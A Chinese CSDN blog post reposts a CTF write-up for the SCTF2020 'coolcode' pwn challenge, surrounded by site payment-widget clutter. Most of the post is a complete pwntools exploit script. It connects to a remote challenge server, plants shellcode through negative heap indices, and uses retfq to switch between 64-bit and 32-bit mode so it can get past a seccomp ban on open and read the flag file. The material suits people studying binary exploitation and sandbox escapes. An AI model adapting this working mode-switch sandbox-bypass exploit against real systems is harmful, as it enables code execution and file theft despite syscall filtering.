技巧篇:SCTF2020 coolcode 测信道攻击pwn题

29 篇文章 0 订阅
该博客介绍了一种利用侧信道攻击的方法,通过禁用open函数并切换到32位模式来实现远程代码执行。文章中展示了如何构造payload,包括使用retfq指令进行切换,并给出了具体的Python脚本示例来执行攻击。
摘要由CSDN通过智能技术生成

**前言:第二次遇到侧信道攻击pwn题,禁用了open,同样需要切换32位使用open,随后利用retfq切换回来,进行rw。就可以了,这个不需要爆破,free为read,读取道bss段,rw即可,另一篇侧信道是强网杯的一道强网先锋:http://www.maxbos44k.top/index.php/archives/102/
http://www.maxbos44k.top/index.php/archives/103/。**

转载ChaMd5 exp:

from pwn import *
context.os = 'linux'
prog = './CoolCode'
p = remote("39.107.119.192 ", 9999)    
def add(idx, content):
    p.sendlineafter("choice :", '1')
    p.sendlineafter("Index: ", str(idx))
    p.sendafter("messages: ", content)
def show(idx):
    p.sendlineafter("choice :", '2')
    p.sendlineafter("Index: ", str(idx))
def free(idx):
    p.sendlineafter("choice :", '3')
    p.sendlineafter("Index: ", str(idx))
def exp():
    read = '''
        xor eax, eax
        mov edi, eax
        push 0x60
        pop rdx
        mov esi, 0x1010101
        xor esi, 0x1612601
        syscall
        mov esp, esi
        retfq
    '''
    open_x86 = '''
        mov esp, 0x602770
        push 0x67616c66
        push esp
        pop ebx
        xor ecx,ecx
        mov eax,5
        int 0x80
    '''
    readflag = '''
        push 0x33
        push 0x60272e
        retfq
        mov rdi,0x3
        mov rsi,rsp
        mov rdx,0x60
        xor rax,rax
        syscall
        mov rdi,1
        mov rax,1
        syscall
    '''
    readflag = asm(readflag, arch = 'amd64')
    add(-22, '\xc3')
    add(-37, asm(read, arch = 'amd64'))
    free(0)
    payload = p64(0x602710)+p64(0x23)+asm(open_x86)+readflag
    p.sendline(payload)
    p.interactive()
if __name__ == '__main__':
    exp()

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值